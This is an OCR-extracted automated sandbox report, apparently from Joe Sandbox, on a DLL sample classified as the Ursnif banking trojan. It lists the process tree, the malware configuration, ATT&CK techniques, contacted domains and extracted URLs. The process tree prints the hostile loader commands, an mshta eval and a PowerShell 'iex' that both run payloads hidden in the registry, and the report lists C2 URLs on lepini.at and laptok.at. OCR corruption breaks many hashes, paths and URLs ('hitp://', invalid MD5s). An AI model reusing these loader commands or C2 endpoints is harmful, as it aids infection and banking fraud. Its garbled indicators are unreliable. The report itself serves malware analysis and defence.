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Analysis Report Securitelnfo.com.Generic.mg.f77e7bd4...
Overview

General Information Detection Classification

Sample Securitelnfo.com.Generic.

Name: mg.f77e7hd43f365593.823 F MALICIOUS 1

5 (renamed file extension
from 8235 to dll)

Found malware configuration
Malicious sample detected (through ...

Analysis ID: 353282 Multi AV Scanner detection for doma...

w
«Q
>
2
(=
=
®
(7]

MDS: f77e7bd43f36559.. Multi AV Scanner detection for subm...
SHAL: 66692f392d5844.. Sigma detected: Dot net compiler co...
SHA256: 56a0cec492d2f8d.

Yara detected Ursnif
Most interesting Screenshot:

Compiles code for process injection ...

Creates a thread in another. existing ...

Hooks registry keys query functions...
100

Score: Maps a DLL or. memory area into an...
Range: 0-100 Modifies the context of a thread in a...
Whitelisted: false

) Madifies the export address table of:...
Confidence: 100%

Madifies the import address table of...

Startup

= System is w10x64

o B loaddli32.exe (PID: 204 cmdline: loaddlI32.exe 'C:\Users\user\Desktop\Securitelnfo.com.Generic.mg.f77e7bd43f365593.dIlI' MD5: 8081BC925DFC69D40463079233C90FAS)
o W regsvr32.exe (PID: 4472 cmdline: regsvr32.exe /s C:\Users\user\Desktop\Securitelnfo.com.Generic.mg.f77e7bd43f365593.dll MD5: 426E7499F6A7346F0410DEAD0805586B)
cmd.exe (PID: 3884 cmdline: C:\Windows\system32\cmd.exe /c 'C:\Program Files\Internet Explorer\iexplore.exe' MD5: F3BDBE3BB6F734E357235F4D5898582D)
. @ iexplore.exe (PID: 5344 cmdline: C:\Program Files\Internet Exploreniexplore.exe MD5: 6465CB92B25A7BC1DF8E01D8SAC5E7596)
. @ iexplore.exe (PID: 6156 cmdline: 'C:\Program Files (x86)\Internet ExplorelEXPLORE.EXE' SCODEF:5344 CREDAT:17410 /prefetch:2 MD5:
071277CC2E3DF41EEEA8013E2AB58D5A)
. @ iexplore.exe (PID: 3016 cmdline: 'C:\Program Files (x86)\Internet ExplorelEXPLORE.EXE' SCODEF:5344 CREDAT:82962 /prefetch:2 MD5:
071277CC2E3DF41EEEA8013E2AB58D5A)
. @ iexplore.exe (PID: 1496 cmdline: 'C:\Program Files (x86)\Internet ExplorelEXPLORE.EXE' SCODEF:5344 CREDAT:17422 /prefetch:2 MD5:
071277CC2E3DF41EEEA8013E2AB58D5A)
. @ iexplore.exe (PID: 1716 cmdline: 'C:\Program Files (x86)\Internet ExplorelEXPLORE.EXE' SCODEF:5344 CREDAT:82978 /prefetch:2 MD5:
071277CC2E3DF41EEEA8013E2AB58D5A)
. mshta.exe (PID: 5264 cmdline: 'C:\Windows\System32\mshta.exe' ‘about:<hta:application><script>resize To(1,1);eval(new ActiveXObject("WScript.Shell').regread('HKCU\\\Softwa
re\AppDataLow\\Software\\Microsoft\86EC23E5-2D5A-A875-E71A-B15COBEE7550\\Actidsrv'));if('window.flag)close()</script>' MD5: 197FC97C6A843BEBB445C1D9C58DCBDB)
o E¥ powershell.exe (PID: 5752 cmdline: ‘C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' iex ([System.Text.Encoding]::ASCII.GetString(( gp 'HKCU:Soft
ware\AppDataLow\Software\Microsoft\86EC23E5-2D5A-A875-E71A-B15COBEE7550'").basebapi)) MD5: 95000560239032BC68B4C2FDFCDEF913)
. conhost.exe (PID: 5616 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
e B csc.exe (PID: 4228 cmdline: 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @'C:\Users\usen\AppData\Local\Temp\q4v3w255\q4v3w25
5.cmdline’ MD5: B46100977911A0C9FB1C3E5F16A5017D)
e B cvtres.exe (PID: 5024 cmdline: C:\Windows\Microsoft. NET\Framework64\v4.0.30319\cvtres.exe /INOLOGO /READONLY /MACHINE:IX86 '/OUT:C:\Users\user

\AppData\Loca\Temp\RES75DB.tmp' ‘c:\Users\user\AppData\Local\Temp\q4v3w255\CSCF2DE2458AB624CEA8066599ECF7B3C9.TMP' MD5:
33BBBBEOB4F547324D93D5D2725CAC3D)

= cleanup

Malware Configuration

Threatname: Ursnif
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"server": "730",

"os": "10.0_0_17134_x64",

"version": "250180",

"uptime": "167",

"system": "7c5538f6979f1f8eced530cf8b281a82hhjI",
"size": "202829",

"erct: "2,
"action": "0000OOOO",
"id": "1100",

"time": "1613465906",

"user": "1082ab698695dc15e71ab15c621f0ba1",
"hash": "Oxf857f57e",

"soft": "3"

Yara Overview

Memory Dumps

Source Rule Description Author Strings
00000001.00000003.358145680.00000000054C8000.00000 JoeSecurity_Ursnif  Yara detected Joe Security
004.00000040.sdmp Ursnif
00000001.00000003.365253627.000000000534B000.00000  JoeSecurity_Ursnif ~ Yara detected Joe Security
004.00000040.sdmp Ursnif
00000001.00000003.358305961.00000000054C8000.00000 JoeSecurity_Ursnif  Yara detected Joe Security
004.00000040.sdmp Ursnif
00000001.00000003.358401494.00000000054C8000.00000 JoeSecurity_Ursnif  Yara detected Joe Security
004.00000040.sdmp Ursnif
00000001.00000003.358112275.00000000054C8000.00000 JoeSecurity_Ursnif  Yara detected Joe Security
004.00000040.sdmp Ursnif

Click to see the 8 entries

Sigma Overview

System Summary:

Sigma detected: Dot net compiler compiles file from suspicious location

Signature Overview

@ AV Detection

® Compliance

@ Networking

@ Key, Mouse, Clipboard, Microphone and Screen Capturing
@ E-Banking Fraud

@ System Summary

@ Data Obfuscation

@ Persistence and Installation Behavior

® Hooking and other Techniques for Hiding and Protection
@ Malware Analysis System Evasion

@ Anti Debugging

@ HIPS / PFW / Operating System Protection Evasion

@ Language, Device and Operating System Detection

@ Stealing of Sensitive Information

@ Remote Access Functionality

@

Click to jump to signature section

AV Detection: -

Copyright null 2021 Page 5 of 74



Found malware configuration
Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Compliance:

Uses new MSVCR DlIs
Uses secure TLS version for HTTPS connections

Binary contains paths to debug symbols

:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Yara detected Ursnif

E-Banking Fraud:

=

Yara detected Ursnif

o

System Summary:

Malicious sample detected (through community Yara rule)

]

Data Obfuscation:

]

Hooking and other Techniques for Hiding and Protection:

Yara detected Ursnif

HIPS | PFW | Operating System Protection Evasion:

Stealing of Sensitive Information:

Yara detected Ursnif

]‘

Remote Access Functionality:

Yara detected Ursnif
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Mitre Att&ck Matrix

Initial Privilege Credential Lateral Command Net
Access Execution Persistence Escalation Defense Evasion Access Discovery Movement Collection Exfiltration and Control Effe
Valid Windows DLL Side-  Process Rootkit Credential Query Registry Remote Email Exfiltration Encrypted Eav
Accounts Management Loading Injection API Services Collection g Over Other Channel Ins¢
Instrumentation Hooking Network Net
Medium Cor
Default Command and Boot or DLL Side- Masquerading LSASS Security Software Remote Credential Exfiltration  Ingress Tool Exp
Accounts Scripting Logon Loading Memory Discovery Desktop API Over Transfer Rec
Interpreter Initialization Protocol Hooking Bluetooth Call
Scripts
Domain PowerShell Logon Script Logon Script Virtualization/Sandbox Security Virtualization/Sandbox SMB/Windows Data from Automated Non- Exp
Accounts (Windows)  (Windows) Evasion Account Evasion Admin Shares Network Exfiltration Application Tra
Manager Shared Layer Loc
Drive Protocol
Local At (Windows) Logon Script Logon Script Process NTDS Process Discovery Distributed Input Scheduled Application SIV
Accounts (Mac) (Mac) Injection Component Capture Transfer Layer Swe
Object Model Protocol
Cloud Cron Network Network Logon  Obfuscated Files or LSA Application Window  SSH Keylogging Data Fallback Mar
Accounts Logon Script Script Information Secrets Discovery Transfer Channels Dev
Size Limits Cor
Replication Launchd Rc.common Rc.common Regsvr32 Cached File and Directory VNC GUI Input Exfiltration Multiband Jan
Through Domain Discovery Capture Over C2 Communication Der
Removable Credentials Channel Ser
Media
External Scheduled Task  Startup Startup Items Software Packing DCSync System Information Windows Web Portal  Exfiltration = Commonly Roc
Remote Items Discovery Remote Capture Over Used Port Acc
Services Management Alternative
Protocol
Drive-by Command and Scheduled  Scheduled DLL Side-Loading Proc Network Service Shared Credential Exfiltration  Application Dov
Compromise Scripting Task/Job Task/Job Filesystem Scanning Webroot API Hooking Over Layer Protocol Inse
Interpreter Symmetric Pro
Encrypted
Non-C2
Protocol

Behavior Graph
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Screenshots

Thumbnails

Behavior Graph
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This section contains all screenshots as thumbnails, including those not shown in the slideshow.
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F-l O Type here to search 4

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source
Securitelnfo.com.Generic.mg.f77e7bd43f365593.dll
Securitelnfo.com.Generic.mg.f77e7bd43f365593.dll

Dropped Files

No Antivirus matches

Unpacked PE Files

Source Detection
1.3.regsvr32.exe.54494a0.1.unpack 100%
1.2.regsvr32.exe.2d70000.1.unpack 100%
1.3.regsvr32.exe.51ce4a0.2.unpack 100%
Domains

Source

tls13.taboola.map.fastly.net

c56.lepini.at

URLs
Copyright null 2021

Detection
16%
10%

Scanner
Avira
Avira

Avira

Detection
0%
8%

Word 2016

Scanner Label

Virustotal

ReversingLabs Win32.Trojan.Generic
Label Link

HEUR/AGEN.1132033
HEUR/AGEN.1108168
HEUR/AGEN.1132033

Scanner Label
Virustotal

Virustotal

Link

Browse
Download
Download File
Download File
Download File

Link

Browse

Browse
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https://www.virustotal.com/gui/file/56a0cec492d2f8d68f8c9c5f54a9c9407f352e3b33e1e3e6c68409acb0ec04ac/detection/f-56a0cec492d2f8d68f8c9c5f54a9c9407f352e3b33e1e3e6c68409acb0ec04ac-1613422078
https://www.virustotal.com/gui/url/34d7a5628cd38966e8a7512b50ed594ea59c1e81eb029dde41d339efc420d112/detection/u-34d7a5628cd38966e8a7512b50ed594ea59c1e81eb029dde41d339efc420d112-1609243559
https://www.virustotal.com/gui/url/e3d19c1bab608d1939e137352095dcf63f15d242ec4617f0de7491f089c1fb4e/detection/u-e3d19c1bab608d1939e137352095dcf63f15d242ec4617f0de7491f089c1fb4e-1613420027

Source Detection Scanner Label Link

hitp://crl.microsoft 0% URL Reputation safe
hitp://crl.microsoft 0% URL Reputation safe
hitp://crl.microsoft 0% URL Reputation safe
hitp://https://onedrive.live.com;Fotos 0% Avira URL Cloud safe
hitp://constitution.org/usdeclar.txtC: 0% Avira URL Cloud safe
hitp://https://file://USER.ID%Iu.exe/upd 0% Avira URL Cloud safe
hitp://pesterbdd.com/images/Pester.png 0% URL Reputation safe
hitp://pesterbdd.com/images/Pester.png 0% URL Reputation safe
hitp://pesterbdd.com/images/Pester.png 0% URL Reputation safe
hitp://https://contoso.com/Icon 0% URL Reputation safe
hitp://https://contoso.com/Icon 0% URL Reputation safe
hitp://https://contoso.com/Icon 0% URL Reputation safe
hitp://constitution.org/usdeclar.txt 0% Avira URL Cloud safe
http:/f 0% URL Reputation safe
https://www.stroeer.de/fileadmin/de/Konvergenz_und_Konzepte/Daten_und_Technologien/Stroeer_SSP/

Downl

http:/f 0% URL Reputation safe
https://www.stroeer.de/fileadmin/de/Konvergenz_und_Konzepte/Daten_und_Technologien/Stroeer_SSP/

Downl

http:/f 0% URL Reputation safe
https://www.stroeer.de/fileadmin/de/Konvergenz_und_Konzepte/Daten_und_Technologien/Stroeer_SSP/

Downl

http:/f 0% Avira URL Cloud safe

api3.lepini.at/apil/z9QMincV/K5Ig0M8Pro92gCHXX5PHJIDsK/9c_2BafRoh/4XYkIJRWqVTzrv7Uv3/wngQc

d_2F3U1/FYkmEnrarM8/prFE5X7UgK7npU/I50vCbSeqgHX2pOCMBIMw/6G3yICTVPM_2Fao_/2FHfb2Y
Fd_2Fsm9/RXg8z6_2BbPSXzWIWu/9J0iQgQtr/rufo4JgzeosqL1srQO1Y/Q6QSqSiZInzgmM3ARI_/2BDU
zBIINA3CJx03pBLSY7/qcaRv2HatzUtG/WgTgo2SQ/jXJ_2FQX_2BRQpBzyb87GE/8RD4rYDEK9/G_2B

UelyeqJjX_2BK/T70P9kOGqlyN/0X3GrtdJQpt/xICmDxOic/59te

http:/f 0% Avira URL Cloud safe
apil0.laptok.at/apil/qCo80h_2F6L/Un922nXSLi5jud/Tm30EKBzIEW7_2FtAqldr/fGZBjc4EihNVt7kd/UjRq

gX

hitp://https://onedrive.live.com;OneDrive-App 0% Avira URL Cloud safe
hitp://https://contoso.com/License 0% URL Reputation safe
hitp://https://contoso.com/License 0% URL Reputation safe
hitp://https://contoso.com/License 0% URL Reputation safe
hitp://apil0.laptok.at/favicon.ico 0% Avira URL Cloud safe
http:/f 0% Avira URL Cloud safe

apil0.laptok.at/apil/6pQTzaY 2jKRE9Otp7pijj/jmnK_2FJdB8kIDKg/vxFcjPsrp_2FBI9U/IOXXE03y78_2BI_2
FC/pZwONzw8E/O0k8zJt20KIPWEAITUgj/Ph1AIH46ZRC_2FAT8N_/2FsqgQGNoPpxHDz1fQjtgV/H61uR
IVmmIvZx/vXX3iis8/_2ByUIphkkxJKe_2B0AXxt8i/1HOB5rC_2F/fKjHLYVOPd7AS02zv/15i58zgPLgWh/Zel7
YnjtDx2/Jkz01V4bMlal_2/BrHCuz27onDH_2Fyalz5t/pc7dPwXYGnmuctsD/kRhp92_2FH2ZQHW/DAh4
9GgFcOyanPH7sP/84LwdYOH_/2Bbf1SY8UzVHP/4jNuPd

hitp://https://www.stroeer.com/fileadmin/com/StroeerDSP_deviceStorage.json 0% Avira URL Cloud safe
hitp://https://contoso.com/ 0% URL Reputation safe
hitp://https://contoso.com/ 0% URL Reputation safe
hitp://https://contoso.com/ 0% URL Reputation safe
hitp://https://mem.gfx.ms/meversion/?partner=msn&market=de-ch" 0% URL Reputation safe
hitp://https://mem.gfx.ms/meversion/?partner=msn&market=de-ch" 0% URL Reputation safe
hitp://https://mem.gfx.ms/meversion/?partner=msn&market=de-ch" 0% URL Reputation safe
hitp://https://go.microsoft.c 0% Avira URL Cloud safe
hitp://https://www.bidstack.com/privacy-policy/ 0% URL Reputation safe
hitp://https://www.bidstack.com/privacy-policy/ 0% URL Reputation safe
hitp://https://www.bidstack.com/privacy-policy/ 0% URL Reputation safe
http:/f 0% Avira URL Cloud safe

apil0.laptok.at/apil/_2FdDLxiS/WGKmX1atNVWHXUCzdG8J/YXsTWM_2FhCnr7eTBeb/CqzmyNP6L4p
0TKz6hJsAOP/EVM7LSrusRIN7/R3LRPhOs/N1IMeBTFtHS9yRQOIgLi_2B0/Xv3103IXIN/5RDWIiXyGXXw_

2B48v/Bn4MZSvk3K_2/FR_2BMnjaNV/ba9dKsrWc70pwt/DTOZiIRktoMLB5X4VmjzW/q5zgF4LmzRrgKYz
r1InS7KhdMCD4PTt2/Znn_2FZbkdGdkZsLPa/EqClaT3Se/sULFyYCjIJQPDDxUFellF/dEZc5CjdmxNuQQ
bK7SZ/r4gzVmhDXHEM50FH9MuRad/iulOOUoXwDG2R/FNY

http:/f 0% Avira URL Cloud safe
api3.lepini.at/apil/vhHTEmPzbEStJ40DDwp/kQ6ggaRpVnpsug_2B0SIwX/XJ3fXm3aVud90/1_2B7cr6/T
_2BQPX93_2FtT_2BuUUURZI/AWWVWHMcH_/2BU8SGCA]DVwWMmprID/L5eh8wlam6YF/SNWyB4_2BW
m/zk5kVoxEFfdcUb/ATRG4B609JdGD1fLNDqV7/c18vrgCIxX5W3AyWk/YkXmggvTDqtnr7l/605A0ThiBQ
13h_2FIJ/CRITvJ20k/cYZ94FgWzWVkvnQsuK3C/E6WVulJEgnnze_2FQoZ/iJSmMSPJ1uDyxoLTc337jx/

njscfBmMWGPA0q/JiqJEBa7dSC/GQi2

hitp://https://img.img- 0% URL Reputation safe
taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_fill%2Cg_faces:au

hitp://https://img.img- 0% URL Reputation safe
taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_fill%2Cg_faces:au

hitp://https://img.img- 0% URL Reputation safe
taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_fill%2Cg_faces:au
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Domains and IPs

Contacted Domains

Name P Active
contextual.media.net 184.30.24.22 true
tls13.taboola.map.fastly.net 151.101.1.44 true
hblg.media.net 184.30.24.22 true

Malicious Antivirus Detection

false

false e 0%, Virustotal, Browse
false

Reputation
high
unknown

high

Ig3.media.net 184.30.24.22 true
resolverl.opendns.com 208.67.222.222 true
api3.lepini.at 34.65.144.159 true
geolocation.onetrust.com 104.20.184.68 true
apil0.laptok.at 34.65.144.159 true
www.msh.com unknown unknown
srth.msn.com unknown unknown

false
false
false
false
false
false

false

high
high
unknown
high
unknown
high
high

web.vortex.data.msn.com unknown unknown
cvision.media.net unknown unknown
Contacted URLs

Name Malicious
http:/f false

api3.lepini.at/apil/z9QMincV/K51q0M8Pr92gCHXX5PHJDsK/9c_2BafRoh/4XYkIJRWqVTzrv7U
v3/wngQcd_2F3U1/FYkmEnrarM8/prFE5X7UgK7npU/I50vCbhbSeqgHX2pOCMBIMwW/6G3yICTv
PM_2Fao_/2FHfb2YFd_2Fsm9/RXg8z6_2BbPSXzWIWu/9J0iQgQtr/rufo4JqzeosqL1srQO1Y/
Q6QSqSiZInzgmM3ARI_/2BDUzBIINA3CJIx03pBLSY7/qcaRv2HatzUtG/WgTgo2SQ/rXJ_2FQ
X_2BRQpBzyb87GE/8RD4rYDEK9/G_2BUelyeqJjX_2BK/T70P9kOGqlyN/0X3GrtdJQpt/xICm
DxOic/59te

hitp://apil0.laptok.at/favicon.ico false

http:/f false
apil0.laptok.at/apil/6pQTzaY 2jKRE9Otp7pijji/jmnK_2FJdB8kIDKg/vxFcjPsrp_2FBI9U/IOXXE03
y78_2BI_2FC/pZwONzw8E/O0k8zJt20KIPWEAITUgj/Ph1AIH46ZRC_2FAT8N_/2FsqgQGNoP
pxHDZz1fQjtgV/H61URIVmMmIvZx/vXX3iis8/_2ByUIphkkxJKe_2B0Axt8i/1HOB5rC_2F/fKjHLYVO
Pd7AS022zv/15i58zgPLqWh/Zel7YnjtDx2/JkZ01V4bMlal_2/BrHCuz27onDH_2Fyalz5t/pc7dPw
XYGnmuctsD/kRhp92_2FH2ZQHW/DAh49GgFcOyanPH7sP/84LwdYOH_/2Bbf1SY8UzVHP/4
jNuPd

http:/f false
apil0.laptok.at/apil/_2FdDLxiS/WGKmX1atNVWHXUCzdG8J/YXsTWM_2FhCnr7eTBeb/Cqz
myNP6L4p0TKz6hJsAOp/EVM7LSru5RIN7/R3LRPhOs/N1MeBTFtHS9yRQ9IgLi_2B0/Xv3103J
XIn/SRDWiXyGXXw_2B48v/Bn4MZSvk3K_2/FR_2BMnjaNV/ba9dKsrwc70pwt/DTOZilRktoML
B5X4VmjzW/q5zgF4LmzRrgqKYzr/InS7KhdMCD4PTt2/Znn_2FZbkdGdkZsLPa/EqClaT3Sels
U1FyYCjJQPDDxUFellF/dEZc5CjdmxNuQQbK7SZ/r4dgzVmhDXHEM50FH9MuRad/iulOOUo
XwDG2R/FNY

http:/f false
api3.lepini.at/apil/vhHTEmPzbEStJ40DDwp/kQ6ggaRpVnpsug_2B0SIwX/XJ3fXm3aVud90/1
_2B7cr6/T_2BQPX93_2FtT_2BuUURZI/AWWVWHMcH_/2BU8GCA]DVWMmprID/L5eh8wlam
6YF/SNWyB4_2BWm/zk5kVoxEFfdcUb/ATRG4B609JdGD1fLNDqV7/c18vrgCIXSW3AyWk/Yk
XmggvTDqtnr71/605A0ThiBQ13h_2FIJ/CRITvJ20k/cYZ94FgWzWVkvnQsuK3C/E6WVuUIJEgn
nze_2FQoZ/iJSmMSPJ1uDyxoL Tc337jx/njscfBmWGPA0qg/JiqgJEBa7dSC/GQi2

URLs from Memory and Binaries

Name Source
hitp://searchads.msn.net/.cfm?&&kp=1& {01B3F874-7035-11EB-90E5-ECF4B
B570DC9}.dat.3.dr

hitp://https://www.msn.com/de-ch/news/other/interview-
sicherheitsdirektor-mario-fehr-90-prozent-der-abgewie

de-ch[1].htm.5.dr

hitp://https://contextual.media.net/medianet.php?
cid=8CU157172

de-ch[1].htm.5.dr

hitp://https://www.msn.com/de-ch/nachrichten/coronareisen de-ch[1].htm.5.dr

powershell.exe, 00000020.00000
003.394678008.0000027AE87BB000
.00000004.00000001.sdmp

85-0f8009-68ddb2ab[1].js.5.dr

powershell.exe, 00000020.00000
003.417513128.0000027AE89B0000
.00000004.00000001.sdmp

hitp://crl.microsoft

hitp://https://onedrive.live.com;Fotos

hitp://constitution.org/usdeclar.txtC:

hitp://https://file://USER.ID%Iu.exe/upd powershell.exe, 00000020.00000
003.417513128.0000027AE89B0000

.00000004.00000001.sdmp

Copyright null 2021

false
false
Antivirus Detection
e Avira URL Cloud: safe
e Avira URL Cloud: safe
e Avira URL Cloud: safe
e Avira URL Cloud: safe
e Avira URL Cloud: safe
Malicious Antivirus Detection
false
false
false
false
false e URL Reputation: safe
e URL Reputation: safe
e URL Reputation: safe
false e Avira URL Cloud: safe
false e Avira URL Cloud: safe
false e Avira URL Cloud: safe

high
high

Reputation

unknown

unknown

unknown

unknown

unknown

Reputation

high
high
high
high

unknown

low

unknown

low
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https://www.virustotal.com/gui/url/34d7a5628cd38966e8a7512b50ed594ea59c1e81eb029dde41d339efc420d112/detection/u-34d7a5628cd38966e8a7512b50ed594ea59c1e81eb029dde41d339efc420d112-1609243559
https://www.virustotal.com/gui/url/e3d19c1bab608d1939e137352095dcf63f15d242ec4617f0de7491f089c1fb4e/detection/u-e3d19c1bab608d1939e137352095dcf63f15d242ec4617f0de7491f089c1fb4e-1613420027

Name

hitp://https://www.onenote.com/notebooks?
WT.mc_id=MSN_OneNote_TopMenu&auth=1&wdorigin=msn

hitp://https://office.live.com/start/Word.aspx?
WT.mc_id=MSN_site;Excel

hitp://fogp.me/ns/fb#

hitp://https://www.awinl.com/cread.php?

awinmid=15168&awinaffid=696593&clickref=de-ch-ss&ued=htt

hitp://https://outlook.live.com/mail/deeplink/compose;Kalender

hitp://https://res-
a.akamaihd.net/__media__/pics/8000/72/941/fallbackl.jpg

hitp://https://www.skyscanner.net/g/referrals/vl/cars/home?
associateid=API_B2B_19305_00002

hitp://https://www.onenote.com/notebooks?
WT.mc_id=MSN_OneNote_Recent&auth=1&wdorigin=msn

hitp://https://nuget.org/nuget.exe

hitp://schemas.xmlsoap.org/ws/2005/05/identity/claims/name

hitp:/fiwww.reddit.com/
hitp://https://www.skype.com/

hitp://https://sp.booking.com/index.html?
aid=1589774&label=travelnavlink

hitp://https://www.msn.com/de-ch/nachrichten/regional

hitp://pesterbdd.com/images/Pester.png

hitp://https://onedrive.live.com/?qt=allmyphotos;Aktuelle

hitp://www.apache.org/licenses/LICENSE-2.0.html

hitp://https://amzn.to/2TTxhNg

hitp://https://www.skype.com/go/onedrivepromo.download?
cm_mmc=MSFT_2390_MSN-com

hitp://https://client-s.gateway.messenger.live.com

hitp://https://contoso.com/Icon

hitp://https://www.msn.com/de-ch/

hitp://https://office.live.com/start/PowerPoint.aspx?
WT.mc_id=MSN_site

hitp://https://contextual.media.net/medianet.php?
cid=8CU157172&crid=858412214&size=306x271&https=1

hitp://https://www.awinl.com/cread.php?
awinmid=15168&awinaffid=696593&clickref=de-ch-edge-dhp-
river

hitp://https://www.msn.com/de-ch

hitp://https://click.linksynergy.com/deeplink?
id=xoqYgl4JDe8&mid=46130&ul=dech_mestripe_store&m

hitp://https://twitter.com/i/notifications;lch

hitp://https://www.awinl.com/cread.php?
awinmid=11518&awinaffid=696593&clickref=dech-edge-dhp-
infopa

hitp://https://github.com/Pester/Pester

hitp://https://contextual.media.net/medianet.php?
cid=8CU157172&crid=722878611&size=306x271&http

hitp://https://www.msn.com/de-ch/?ocid=iehpA

hitp://constitution.org/usdeclar.txt

hitp://https://www.sway.com/?
WT.mc_id=MSN_site&utm_source=MSN&utm_medium=Topn
av&utm_campaign=link;PowerPoin

hitp://https://www.msn.com/de-
ch/news/other/verst%c3%b6sst-die-nationalit¥c3%adten-
initiative-der-svp-gegen

hitp://https://www.msn.com/de-ch/?
ocid=iehp&item=deferred_page%3al&ignorejs=webcore%2fm
odules%2fjsh

hitp://www.youtube.com/

Copyright null 2021

Source

de-ch[1].htm.5.dr

85-0f8009-68ddb2abl[1].js.5.dr

de-ch[1].htm.5.dr
de-ch[1].htm.5.dr

85-0f8009-68ddb2abl[1].js.5.dr

{01B3F874-7035-11EB-90E5-ECF4B
B570DC9}.dat.3.dr

de-ch[1].htm.5.dr

85-0f8009-68ddb2abl[1].js.5.dr

powershell.exe, 00000020.00000
002.447196820.0000027A90064000
.00000004.00000001.sdmp

powershell.exe, 00000020.00000
002.424307744.0000027A80001000
.00000004.00000001.sdmp

msapplication.xml4.3.dr
de-ch[1].htm.5.dr
de-ch[1].htm.5.dr

de-ch[1].htm.5.dr

powershell.exe, 00000020.00000
002.425160066.0000027A8020E000
.00000004.00000001.sdmp

85-0f8009-68ddb2abl[1].js.5.dr

powershell.exe, 00000020.00000
002.425160066.0000027A8020E000
.00000004.00000001.sdmp

de-ch[1].htm.5.dr
85-0f8009-68ddb2ab[1].js.5.dr

85-0f8009-68ddb2abl[1].js.5.dr

powershell.exe, 00000020.00000
002.447196820.0000027A90064000
.00000004.00000001.sdmp

de-ch[1].htm.5.dr
85-0f8009-68ddb2ab[1].js.5.dr

{01B3F874-7035-11EB-90E5-ECF4B
B570DC9}.dat.3.dr

de-ch[1].htm.5.dr

de-ch[1].htm.5.dr
de-ch[1].htm.5.dr

85-0f8009-68ddb2ab[1].js.5.dr
de-ch[1].htm.5.dr

powershell.exe, 00000020.00000
002.425160066.0000027A8020E000
.00000004.00000001.sdmp

de-ch[1].htm.5.dr

{01B3F874-7035-11EB-90E5-ECF4B
B570DC9}.dat.3.dr

powershell.exe, 00000020.00000
003.417513128.0000027AE89B0000
.00000004.00000001.sdmp

85-0f8009-68ddb2abl[1].js.5.dr

de-ch[1].htm.5.dr

de-ch[1].htm.5.dr

msapplication.xml7.3.dr

Malicious

false

false

false

false

false

false

false

false

false

false

false
false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

Antivirus Detection

e URL Reputation: safe
e URL Reputation: safe
e URL Reputation: safe

e URL Reputation: safe
e URL Reputation: safe
e URL Reputation: safe

e Avira URL Cloud: safe

Reputation

high

high

high
high

high
high

high

high

high

high

high
high
high

high

unknown

high
high

high
high

high

unknown

high
high

high

high

high

high

high

high

high

high

high

unknown

high

high

high

high
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Name Source Malicious Antivirus Detection Reputation
hitp:/fogp.me/ns# de-ch[1].htm.5.dr false high
hitp://https://onedrive.live.com/?qt=mru;OneDrive-App 85-0f8009-68ddb2ab[1].js.5.dr false high
hitp://https://www.skype.com/de 85-0f8009-68ddb2ab[1].js.5.dr false high
hitp://https://sp.booking.com/index.html? de-ch[1].htm.5.dr false high
aid=1589774&label=dech-prime-hp-me
hitp://https://www.skype.com/de/download-skype 85-0f8009-68ddb2ab[1].js.5.dr false high
hitp:// iab2Data[1].json.5.dr false e URL Reputation: safe unknown
https://www.stroeer.de/fileadmin/de/Konvergenz_und_Konzept e URL Reputation: safe
e/Daten_und_Technologien/Stroeer_SSP/Downl e URL Reputation: safe
hitp://https://www.msn.com/de-ch/nachrichten/politik/der- de-ch[1].htm.5.dr false high
spaziergang-kam-nicht-weit/ar-BB1dEdnO?ocid=hploca
hitp://https://onedrive.live.com/? de-ch[1].htm.5.dr false high
wt.mc_id=00_msn_msnhomepage_header
hitp:// {1F3F026C-7035-11EB-90E5-ECF4B false e Avira URL Cloud: safe unknown
apil0.laptok.at/apil/qCo80h_2F6L/Un922nXSLi5jud/Tm30EK B570DC9}.dat.3.dr
BziEw7_2FtAqldr/fGZBjc4EihNVt7kd/UjRqgX
hitp://www.hotmail.msn.com/pii/ReadOutlookEmail/ 85-0f8009-68ddb2ab[1].js.5.dr false high
hitp://https://onedrive.live.com;OneDrive-App 85-0f8009-68ddb2ab[1].js.5.dr false e Avira URL Cloud: safe low
hitp://https://click.linksynergy.com/deeplink? de-ch[1].htm.5.dr false high
id=xoqYgl4JDe8&mid=46130&ul=dech_mestripe_office&
hitp://https://contoso.com/License powershell.exe, 00000020.00000 false e URL Reputation: safe unknown
002.447196820.0000027A90064000 e URL Reputation: safe
.00000004.00000001.sdmp e URL Reputation: safe
http:/f 55a804ab-e5c6-4b97-9319-86263d false high
https://geolocation.onetrust.com/cookieconsentpub/vl/geo/loc  365d28[1].json.5.dr
ation
hitp://www.amazon.com/ msapplication.xml.3.dr false high
hitp://https://www.onenote.com/notebooks? 85-0f8009-68ddb2ab[1].js.5.dr false high
WT.mc_id=MSN_OneNote_QuickNote&auth=1
hitp:/fiwww.twitter.com/ msapplication.xml5.3.dr false high
hitp://https://office.live.com/start/Excel.aspx? 85-0f8009-68ddb2ab[1].js.5.dr false high
WT.mc_id=MSN_site;Sway
hitp://https://cdn.cookielaw.org/vendorlist/googleData.json 55a804ab-e5c6-4b97-9319-86263d false high
365d28[1].json.5.dr
hitp://https://www.msn.com/de-ch/news/other/transsexueller-  de-ch[1].htm.5.dr false high
mann-bel%c3%ad4stigt-kinder-bei-einem-schulhaus-i
hitp://https://outlook.com/ de-ch[1].htm.5.dr false high
hitp://https://rover.ebay.com/rover/1/5222-53480-19255-0/1?  de-ch[1].htm.5.dr false high
mpre=https%3A%2F%2Fwww.ebay.ch&campid=533862
hitp://https://contextual.media.net/checksync.php? {01B3F874-7035-11EB-90E5-ECF4B false high
&vsSync=1&cs=1&hb=1&cv=37&ndec=1&cid=8HBI57XIG&prv B570DC9}.dat.3.dr
id=77%2
hitp:// iab2Data[1].json.5.dr false e Avira URL Cloud: safe unknown
https://www.stroeer.com/fileadmin/com/StroeerDSP_deviceSto
rage.json
hitp://https://www.msn.com/de-ch/news/other/robin-leone- de-ch[1].htm.5.dr false high
